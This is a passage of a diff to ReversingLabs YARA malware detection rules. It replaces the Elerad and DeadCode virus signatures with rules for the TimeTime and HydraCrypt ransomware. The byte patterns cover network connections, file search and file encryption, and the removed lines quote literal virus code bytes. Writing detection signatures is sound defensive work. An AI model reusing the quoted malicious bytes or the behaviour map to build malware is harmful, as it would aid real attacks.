8D 85 ?? ?? ?? ?? 50 FF 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 03 85 ?? ?? ?? ?? 50 C3 + $raw_socket_connection_1_4 = { + 8B 55 ?? 8B C6 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 8B 45 ?? 8B + 00 50 E8 ?? ?? ?? ?? 40 75 ?? C6 85 ?? ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 95 ?? + ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B C6 E8 ?? ?? ?? ?? 8B 45 ?? 8B 00 + 50 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 + 45 ?? ?? ?? ?? ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 8B 45 ?? 8B 00 50 E8 + } + $raw_socket_connection_1_5 = { + C6 85 ?? ?? ?? ?? ?? 8A 85 ?? ?? ?? ?? 88 85 ?? ?? ?? ?? 8A 85 ?? ?? ?? ?? 88 85 ?? + ?? ?? ?? 8A 85 ?? ?? ?? ?? 88 85 ?? ?? ?? ?? 8A 85 ?? ?? ?? ?? 88 85 ?? ?? ?? ?? 66 + 8B 85 ?? ?? ?? ?? 8B D0 66 81 E2 ?? ?? 88 95 ?? ?? ?? ?? 0F B7 C0 C1 E8 ?? 88 85 ?? + ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8D 85 ?? + ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 56 E8 ?? ?? + ?? ?? 40 74 ?? B3 ?? EB ?? C6 85 ?? ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 95 ?? ?? + ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B C6 E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 + 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? E8 ?? + ?? ?? ?? C3 + } + $file_search_1_1 = { + 55 8B EC 81 C4 ?? ?? ?? ?? 53 56 57 89 55 ?? 89 45 ?? 8B 45 ?? 89 45 ?? 68 ?? ?? ?? + ?? E8 ?? ?? ?? ?? 8B F0 85 F6 74 ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 89 C3 85 DB 74 + ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8B 45 ?? 50 FF D3 85 C0 74 ?? 8B 45 ?? 50 8D + 85 ?? ?? ?? ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 45 ?? 80 38 ?? 75 ?? + 8B 45 ?? 80 78 ?? ?? 0F 85 ?? ?? ?? ?? 8B 45 ?? 83 C0 ?? E8 + } + $file_search_1_2 = { + 8B F0 80 3E ?? 0F 84 ?? ?? ?? ?? 8D 46 ?? E8 ?? ?? ?? ?? 8B F0 80 3E ?? 0F 84 ?? ?? + ?? ?? EB ?? 8B 75 ?? 83 C6 ?? 8B DE 2B 5D ?? 8D 43 ?? 50 8B 45 ?? 50 8D 85 ?? ?? ?? + ?? 50 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 46 ?? E8 ?? ?? ?? ?? 8B F8 8B C7 2B C6 8B D0 + 03 D3 42 81 FA ?? ?? ?? ?? 0F 8F ?? ?? ?? ?? 40 50 56 8D 85 ?? ?? ?? ?? 03 C3 50 E8 + ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 + } + $file_search_1_3 = { + 8B F0 83 FE ?? 74 ?? 56 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 53 ?? + 03 C2 40 3D ?? ?? ?? ?? 7F ?? C6 84 1D ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 2B C3 48 50 8D + 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 03 C3 40 50 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 + E8 ?? ?? ?? ?? 40 03 D8 8B F7 80 3E ?? 0F 85 ?? ?? ?? ?? 8B 45 ?? 50 8D 85 ?? ?? ?? + ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 45 ?? 5F 5E 5B 8B E5 5D C3 + } + $raw_socket_connection_2 = { + 55 8B EC 83 C4 ?? 53 56 8B F2 89 45 ?? 8B 45 ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? + ?? 64 FF 30 64 89 20 6A ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 8B D8 83 FB ?? 74 ?? 8D 45 ?? + 33 C9 BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 C7 45 ?? ?? ?? 8B C6 86 E0 66 89 45 ?? 8B 45 + ?? E8 ?? ?? ?? ?? 89 45 ?? 6A ?? 8D 45 ?? 50 53 E8 ?? ?? ?? ?? 85 C0 74 ?? 8B C3 E8 + ?? ?? ?? ?? 83 CB ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? + C3 } condition: - uint16( 0 ) == 0x5A4D and ( ( $negt_infector at pe.entry_point ) or ( ( $negt_body_and_infector_1 at pe.entry_point ) and $negt_body_and_infector_2 and $negt_body_and_infector_3 and $negt_body_and_infector_4 ) ) + uint16( 0 ) == 0x5A4D and ( ( $http_connection_1 and $file_search_1_1 and $file_search_1_2 and $file_search_1_3 and $raw_socket_connection_1_1 and $raw_socket_connection_1_2 and $raw_socket_connection_1_3 and $raw_socket_connection_1_4 and $raw_socket_connection_1_5 ) or ( $raw_socket_connection_2 and $file_search_1_1 and $file_search_1_2 and $file_search_1_3 ) ) } - -rule REVERSINGLABS_Win32_Virus_Elerad : TC_DETECTION MALICIOUS MALWARE FILE +rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Timetime : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Yara rule that detects Elerad virus." + description = "Yara rule that detects TimeTime ransomware." author = "ReversingLabs" - id = "0307a136-ea2c-584c-bfda-f41e2c46fd09" - date = "2020-06-26" - modified = "2020-07-15" + id = "27bff941-01ce-5bf7-a9d8-d01d2db3bfd3" + date = "2022-02-21" + modified = "2022-02-21" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/virus/Win32.Virus.Elerad.yara#L3-L33" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/ByteCode.MSIL.Ransomware.TimeTime.yara#L1-L75" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "930594bf99daf55ef02542ce7b393c1c23ead75946b3da3b555102a2e7142e33" + logic_hash = "43867dd793bc84e6f39ca2de1aff4047a742b295dc4df94cd337bd2ef89e4a62" score = 75 quality = 90 tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" category = "MALWARE" - tc_detection_type = "Virus" - tc_detection_name = "Elerad" + tc_detection_type = "Ransomware" + tc_detection_name = "TimeTime" tc_detection_factor = 5 importance = 25 strings: - $elerad_body = { - EB 77 60 E8 09 00 00 00 8B 64 24 08 E9 DD 01 00 00 33 D2 64 FF 32 64 89 22 50 8B D8 B9 FF 00 00 00 81 38 2E 65 78 65 74 - 08 40 E2 F5 E9 BD 01 00 00 32 D2 38 50 04 0F 85 B2 01 00 00 33 D2 80 38 5C 74 07 3B C3 74 07 48 E2 F4 88 10 8B D0 58 BE - 00 00 E6 77 BF 23 C1 AB 00 EB 3E 60 E8 09 00 00 00 8B 64 24 08 E9 84 01 00 00 33 D2 64 FF 32 64 89 22 BE 00 00 E6 77 EB - 20 68 ?? ?? ?? ?? 60 8B 74 24 24 E8 09 00 00 00 8B 64 24 08 E9 5D 01 00 00 33 D2 64 FF 32 64 89 22 E8 00 00 00 00 5D 81 - ED ?? ?? ?? ?? 81 FF 23 C1 AB 00 75 0C 89 95 22 12 40 00 89 85 1E 12 40 00 BA ?? ?? ?? ?? B9 09 02 00 00 8D 85 D0 10 40 - 00 31 10 83 C0 04 E2 F9 + $rename_files = { + 00 00 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 0A 2B ?? 12 ?? 28 ?? ?? ?? ?? 0B 00 07 28 ?? ?? ?? + ?? 16 FE 01 0C 08 2C ?? 2B ?? 00 00 07 07 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? + 00 00 DE ?? 26 00 00 DE ?? 00 12 ?? 28 ?? ?? ?? ?? 2D ?? DE ?? 12 ?? FE 16 ?? ?? ?? ?? + 6F ?? ?? ?? ?? 00 DC 2A + } + $find_files = { + 00 73 ?? ?? ?? ?? 0A 00 02 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 0B 07 2C ?? 06 0C DD ?? ?? ?? + ?? 02 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 0D 09 2C ?? 06 0C DD ?? ?? ?? ?? 02 72 ?? ?? ?? ?? + 6F ?? ?? ?? ?? 13 ?? 11 ?? 2C ?? 06 0C DD ?? ?? ?? ?? 02 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? + 13 ?? 11 ?? 2C ?? 06 0C DD ?? ?? ?? ?? 02 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 2C + ?? 06 0C DD ?? ?? ?? ?? 02 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 2C ?? 06 0C DD ?? + ?? ?? ?? 02 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 2C ?? 06 0C DD ?? ?? ?? ?? 02 72 + ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 2C ?? 06 0C DD ?? ?? ?? ?? 02 72 ?? ?? ?? ?? 6F + ?? ?? ?? ?? 13 ?? 11 ?? 2C ?? 06 0C DE ?? 00 02 28 ?? ?? ?? ?? 13 ?? 16 13 ?? 2B ?? 11 + ?? 11 ?? 9A 13 ?? 00 06 11 ?? 6F ?? ?? ?? ?? 00 00 11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E 69 + 32 ?? 00 02 28 ?? ?? ?? ?? 13 ?? 16 13 ?? 2B ?? 11 ?? 11 ?? 9A 13 ?? 00 06 11 ?? 28 ?? + ?? ?? ?? 6F ?? ?? ?? ?? 00 00 11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E 69 32 ?? 00 DE ?? 13 ?? + 00 00 DE ?? 06 0C 2B ?? 08 2A + } + $encrypt_folder = { + 00 02 28 ?? ?? ?? ?? 0A 00 06 6F ?? ?? ?? ?? 0B 38 ?? ?? ?? ?? 12 ?? 28 ?? ?? ?? ?? 0C + 00 00 08 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 16 FE 01 0D 09 2C ?? 00 16 13 ?? 16 13 ?? 08 73 + ?? ?? ?? ?? 28 ?? ?? ?? ?? 8C ?? ?? ?? ?? 17 8C ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 08 19 + 73 ?? ?? ?? ?? 13 ?? 00 11 ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 6F ?? ?? ?? ?? 13 ?? 00 DE ?? + 11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ?? 00 DC 11 ?? 16 FE 01 11 ?? 5F 11 ?? 5F 13 ?? 11 ?? 2C + ?? 00 08 28 ?? ?? ?? ?? 00 00 00 00 DE ?? 26 00 00 DE ?? 00 12 ?? 28 ?? ?? ?? ?? 3A ?? + ?? ?? ?? DE ?? 12 ?? FE 16 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 DC 2A + } + $encrypt_files = { + 00 02 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 0C 08 2C ?? 38 ?? ?? ?? ?? 02 7E ?? ?? ?? ?? 6F ?? + ?? ?? ?? 0D 09 2C ?? 2B ?? 02 28 ?? ?? ?? ?? 0A 06 8E 69 8D ?? ?? ?? ?? 0B 16 13 ?? 2B + ?? 00 06 11 ?? 91 13 ?? 11 ?? 17 58 D1 13 ?? 11 ?? D2 13 ?? 07 11 ?? 11 ?? 9C 00 11 ?? + 17 58 13 ?? 11 ?? 07 8E 69 FE 04 13 ?? 11 ?? 2D ?? 02 07 28 ?? ?? ?? ?? 00 02 02 7E ?? + ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 02 28 ?? ?? ?? ?? 00 02 28 ?? ?? ?? ?? 00 7E + ?? ?? ?? ?? 02 6F ?? ?? ?? ?? 00 2A } condition: - uint16( 0 ) == 0x5A4D and ( $elerad_body at pe.entry_point ) + uint16( 0 ) == 0x5A4D and ( $find_files ) and ( $encrypt_files ) and ( $encrypt_folder ) and ( $rename_files ) } - -rule REVERSINGLABS_Win32_Virus_Deadcode : TC_DETECTION MALICIOUS MALWARE FILE +rule REVERSINGLABS_Win32_Ransomware_Hydracrypt : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Yara rule that detects DeadCode virus." + description = "Yara rule that detects HydraCrypt ransomware." author = "ReversingLabs" - id = "89ec2e39-a163-5ba6-9b19-9c94b1923d47" + id = "2e780f7c-8d6d-51c8-b65e-330cc3b17bb7" date = "2020-06-26" modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/virus/Win32.Virus.DeadCode.yara#L3-L76" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.HydraCrypt.yara#L1-L174" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "6ac2e48daaed222f0a19afd4d03a02834705e0e3762db3217f68569554171846" + logic_hash = "910a6f23f06cecb8d3115ebfed42a66412dbd0d3a519e39f21df81b0c2028f48" score = 75 quality = 90 tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" category = "MALWARE" - tc_detection_type = "Virus" - tc_detection_name = "DeadCode" + tc_detection_type = "Ransomware" + tc_detection_name = "HydraCrypt" tc_detection_factor = 5 importance = 25 strings: - $deadcode_ep_1 = { - 64 67 FF 36 30 00 58 8B 40 08 FF 70 48 5B FF 70 4C 5A 03 40 44 - FF E0 + $remote_connection_1 = { + 55 8B EC 83 EC ?? 53 56 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 59 59 BE ?? ?? ?? ?? 56 + 33 DB 53 53 6A ?? 68 ?? ?? ?? ?? FF D0 68 ?? ?? ?? ?? 6A ?? 89 45 ?? E8 ?? ?? ?? ?? + 59 59 53 53 6A ?? 53 53 6A ?? FF 75 ?? FF 75 ?? FF D0 89 45 ?? 3B C3 0F 84 ?? ?? ?? + ?? 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 59 59 53 56 53 53 68 ?? ?? ?? ?? FF 75 ?? 68 + ?? ?? ?? ?? FF 75 ?? FF D0 89 45 ?? 3B C3 0F 84 ?? ?? ?? ?? 57 68 ?? ?? ?? ?? 6A ?? + E8 ?? ?? ?? ?? 59 59 68 ?? ?? ?? ?? 6A ?? FF D0 8B F0 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? + ?? FF 75 ?? 56 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? FF 75 ?? 56 E8 ?? ?? + ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? FF 75 ?? 56 E8 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? + BF ?? ?? ?? ?? 57 89 45 ?? E8 ?? ?? ?? ?? FF 75 ?? 56 50 57 FF 75 ?? E8 ?? ?? ?? ?? + 83 C4 ?? 5F 39 5D ?? 74 ?? FF 75 ?? E8 ?? ?? ?? ?? 59 39 5D ?? 74 ?? FF 75 ?? E8 ?? + ?? ?? ?? 59 39 5D ?? 5E 5B 74 ?? FF 75 ?? E8 ?? ?? ?? ?? 59 C9 C3 } - $deadcode_marker = { - DE C0 AD DE + $remote_connection_2 = { + 55 8B EC 83 EC ?? 53 56 57 6A ?? 59 68 ?? ?? ?? ?? 33 DB BE ?? ?? ?? ?? 8D 7D ?? 6A + ?? 89 5D ?? F3 A5 E8 ?? ?? ?? ?? 59 59 68 ?? ?? ?? ?? 53 53 53 8D 4D ?? 51 FF D0 8B + F8 3B FB 75 ?? 33 C0 E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 59 59 53 68 + ?? ?? ?? ?? 53 53 FF 75 ?? 57 FF D0 8B F0 3B F3 75 ?? 53 E8 ?? ?? ?? ?? 59 EB ?? 68 + ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 59 59 6A ?? 8D 4D ?? 51 FF D0 68 ?? ?? ?? ?? 6A ?? + E8 ?? ?? ?? ?? 59 59 8D 4D ?? 51 6A ?? 8D 4D ?? 51 56 FF D0 39 5D ?? 75 ?? 57 E8 ?? + ?? ?? ?? 56 E8 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 33 C0 83 C4 ?? 40 EB ?? 68 ?? ?? + ?? ?? 6A ?? E8 ?? ?? ?? ?? 59 59 68 ?? ?? ?? ?? 8D 4D ?? 51 FF D0 33 C9 3B C8 1B C0 + F7 D8 5F 5E 5B C9 C3 } - $deadcode_ep_2 = { - 2B C0 85 C0 74 0E 64 67 FF 36 00 00 64 67 89 26 00 00 89 00 E8 - ED FF FF FF 8B 74 24 0C 64 67 A1 30 00 8B 40 08 8B 58 48 8B 50 - 4C 03 40 44 89 86 B8 00 00 00 89 86 B0 00 00 00 89 9E A4 00 00 - 00 89 96 A8 00 00 00 2B C0 C3 + $remote_connection_3 = { + 55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 BE ?? ?? ?? ?? 8D 7D ?? A5 A5 33 DB 66 A5 53 8D + 45 ?? 53 50 A4 E8 ?? ?? ?? ?? 59 50 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? + 68 ?? ?? ?? ?? 6A ?? 89 45 ?? E8 ?? ?? ?? ?? 83 C4 ?? BE ?? ?? ?? ?? 56 53 FF D0 56 + 50 89 45 ?? E8 ?? ?? ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? + ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 6A ?? FF D0 BF ?? ?? ?? ?? 57 50 89 45 ?? E8 ?? ?? ?? + ?? 59 59 85 DB 7E ?? 68 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 59 59 8B C3 6A ?? 99 59 + F7 F9 85 D2 75 ?? 68 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 59 59 68 ?? ?? ?? ?? 6A ?? + E8 ?? ?? ?? ?? 59 59 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 FF D0 8B 45 ?? 0F B6 04 03 + 50 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF 55 ?? 8D 85 ?? ?? ?? ?? 50 FF 75 ?? E8 ?? + ?? ?? ?? 83 C4 ?? 43 3B DE 7C ?? E8 ?? ?? ?? ?? 8B F0 E8 ?? ?? ?? ?? 50 56 8D 85 ?? + ?? ?? ?? 68 ?? ?? ?? ?? 50 FF 55 ?? 83 C4 ?? 83 7D ?? ?? BB ?? ?? ?? ?? BE ?? ?? ?? + ?? 75 ?? 53 56 57 8D 85 ?? ?? ?? ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 7D ?? ?? + 75 ?? 53 56 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 5F + 5E 5B C9 C3 } - $deadcode_ep_3 = { - B8 DE C0 AD DE 50 5A 64 67 A1 30 00 8B 40 08 8B 58 48 8B 50 4C - 03 40 44 FF D0 + $encrypt_files_1 = { + 8A 45 ?? 04 ?? 66 98 66 89 45 ?? 0F B7 C0 50 8D 45 ?? 68 ?? ?? ?? ?? 50 FF 55 ?? 68 + ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? 51 FF D0 8B F0 83 FE ?? 74 ?? 83 + FE ?? 74 ?? 83 FE ?? 75 ?? FF 75 ?? 8D 45 ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 + ?? 83 FE ?? 74 ?? 83 FE ?? 75 ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 59 57 6A ?? E8 ?? ?? ?? + ?? 59 59 68 ?? ?? ?? ?? FF D0 FF 45 ?? 83 7D ?? ?? 0F 8C ?? ?? ?? ?? 83 3D ?? ?? ?? + ?? ?? 75 ?? 53 E8 ?? ?? ?? ?? 59 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 BE + ?? ?? ?? ?? 56 6A ?? E8 ?? ?? ?? ?? 59 59 53 53 8D 8D ?? ?? ?? ?? 51 53 FF D0 8D 85 + ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 E8 ?? ?? ?? ?? 83 F8 ?? 74 ?? 83 F8 ?? 74 ?? 83 F8 + ?? 74 ?? 83 F8 ?? 74 ?? 83 F8 ?? 75 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 3D ?? ?? ?? ?? + 75 ?? E8 ?? ?? ?? ?? EB ?? 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 59 59 53 FF D0 56 6A + ?? E8 ?? ?? ?? ?? 59 59 53 6A ?? 8D 8D ?? ?? ?? ?? 51 53 FF D0 8D 85 ?? ?? ?? ?? 50 + 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF 55 ?? 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 + C4 ?? 6A ?? 53 53 8D 8D ?? ?? ?? ?? 51 68 ?? ?? ?? ?? 53 FF D0 57 6A ?? E8 ?? ?? ?? + ?? 59 59 68 ?? ?? ?? ?? FF D0 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 59 59 53 FF D0 5F + 5E 33 C0 5B C9 C2 } - $deadcode_body_1 = { - 8B D0 8B EA 81 C5 ?? ?? ?? ?? 89 85 A4 00 00 00 89 9D C0 00 00 00 E8 56 01 00 00 89 - 45 00 8D 75 04 81 C2 ?? ?? ?? ?? 6A 19 FF 75 00 52 56 E8 CE 01 00 00 64 67 A1 30 00 - 8B 40 08 89 85 88 00 00 00 C7 85 D0 00 00 00 ?? ?? ?? ?? E8 09 00 00 00 8B 64 24 08 - E9 03 01 00 00 33 D2 64 FF 32 64 89 22 83 BD C0 00 00 00 00 75 2F 6A 04 68 00 10 00 - 00 68 40 01 00 00 6A 00 FF 55 08 50 8F 45 78 E8 2A 03 00 00 68 00 40 00 00 68 40 01 - 00 00 FF 75 78 FF 55 28 E9 C3 00 00 00 8B 85 A4 00 00 00 05 ?? ?? ?? ?? 8D B5 B4 00 - 00 00 56 6A 00 55 50 68 00 00 10 00 6A 00 FF 55 30 89 85 AC 00 00 00 6A 04 68 00 10 - 00 00 6A 54 6A 00 FF 55 08 89 85 A8 00 00 00 64 67 A1 30 00 8B 40 10 8B 40 3C 8B B5 - A8 00 00 00 8D 7E 10 56 57 6A 00 6A 00 6A 04 6A 01 6A 00 6A 00 50 6A 00 FF 55 50 85 - C0 74 5D FF 76 04 8F 85 B0 00 00 00 64 67 A1 30 00 8B 40 08 8B D8 03 5B 3C 8B 5B 28 - 03 D8 8B 8D A4 00 00 00 81 ?? ?? ?? ?? 8D 85 B4 00 00 00 50 6A ?? 51 53 FF 36 FF 55 - 4C FF 76 04 FF 55 54 8D B5 AC 00 00 00 6A FF 6A 01 56 6A 02 FF 55 34 68 00 40 00 00 - 6A 54 FF B5 A8 00 00 00 FF 55 28 33 D2 64 8F 02 5A E8 DB 01 00 00 E8 F5 00 00 00 6A - 00 FF 55 3C 64 67 8B 36 00 00 AD 83 F8 FF 74 04 8B F0 EB F6 8B 7E 04 81 E7 00 00 FF - FF 66 81 3F 4D 5A 74 08 81 EF 00 00 01 00 EB F1 8B DF 03 5B 3C 66 81 3B 50 45 74 02 - EB E3 8B C7 C3 55 8B EC 8B 75 0C AC 84 C0 75 FB 2B 75 0C 8B CE 8B 5D 08 03 5B 3C 8B - 5B 78 03 5D 08 8B 53 20 03 55 08 2B C0 8B 32 03 75 08 8B 7D 0C 51 FC F3 A6 59 74 06 + $encrypt_files_2 = { + 55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 BE ?? ?? ?? ?? 8D 7D ?? A5 A5 33 DB 66 A5 53 8D + 45 ?? 53 50 A4 E8 ?? ?? ?? ?? 59 50 E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 8D 7D ?? A5 A5 89 + 45 ?? 8D 45 ?? 50 66 A5 E8 ?? ?? ?? ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A + ?? 89 45 ?? E8 ?? ?? ?? ?? 83 C4 ?? 53 FF D0 BE ?? ?? ?? ?? 8D 7D ?? A5 A5 66 A5 BE + ?? ?? ?? ?? 8D 7D ?? A5 A5 A5 53 89 45 ?? 8D 45 ?? 53 50 66 A5 E8 ?? ?? ?? ?? 59 50 + E8 ?? ?? ?? ?? 8B F0 8D 45 ?? 50 E8 ?? ?? ?? ?? 50 56 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? + 6A ?? 89 45 ?? E8 ?? ?? ?? ?? 83 C4 ?? 53 6A ?? 8D 8D ?? ?? ?? ?? 51 53 FF D0 BF ?? + ?? ?? ?? 57 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 55 ?? 68 ?? + ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 53 8D 8D ?? ?? ?? ?? 51 FF D0 68 ?? ?? ?? ?? + 6A ?? E8 ?? ?? ?? ?? 59 59 68 ?? ?? ?? ?? 53 53 FF D0 8B F0 53 56 E8 ?? ?? ?? ?? 59 + 59 85 C0 74 ?? 56 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 53 FF + D0 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 59 59 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 FF } - $deadcode_body_2 = { - 83 C2 04 40 EB EB 8B 73 24 03 75 08 2B D2 66 8B 14 46 8B 73 1C 03 75 08 8B 04 96 03 - 45 08 8B E5 5D C2 08 00 55 8B EC 8B 7D 08 8B 75 0C 8B 4D 14 51 56 57 56 FF 75 10 E8 - 91 FF FF FF 5F 5E 59 AB AC 84 C0 75 FB E2 E9 8B E5 5D C2 10 00 8B 6C 24 04 6A 04 68 - 00 10 00 00 68 40 01 00 00 6A 00 FF 55 08 85 C0 74 18 89 45 78 E8 63 01 00 00 68 00 - 40 00 00 68 40 01 00 00 FF 75 78 FF 55 28 6A 00 FF 55 40 C3 + $encrypt_files_3 = { + D0 E8 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? E8 ?? + ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 FF D0 85 C0 75 ?? BE ?? ?? ?? + ?? EB ?? 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 59 59 68 ?? ?? ?? ?? FF D0 56 E8 ?? ?? + ?? ?? 59 3C ?? 75 ?? BE ?? ?? ?? ?? 56 6A ?? E8 ?? ?? ?? ?? 59 59 68 ?? ?? ?? ?? 68 + ?? ?? ?? ?? FF D0 56 6A ?? E8 ?? ?? ?? ?? 59 59 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF D0 + E8 ?? ?? ?? ?? 56 6A ?? E8 ?? ?? ?? ?? 59 59 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 FF + D0 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 59 59 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 FF + D0 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? + ?? ?? 83 C4 ?? 53 6A ?? 8D 8D ?? ?? ?? ?? 51 53 FF D0 68 ?? ?? ?? ?? 57 8D 85 ?? ?? + ?? ?? 50 BE ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 56 50 FF 55 ?? 68 ?? ?? ?? ?? 57 8D 85 ?? + ?? ?? ?? 50 8D 85 ?? ?? 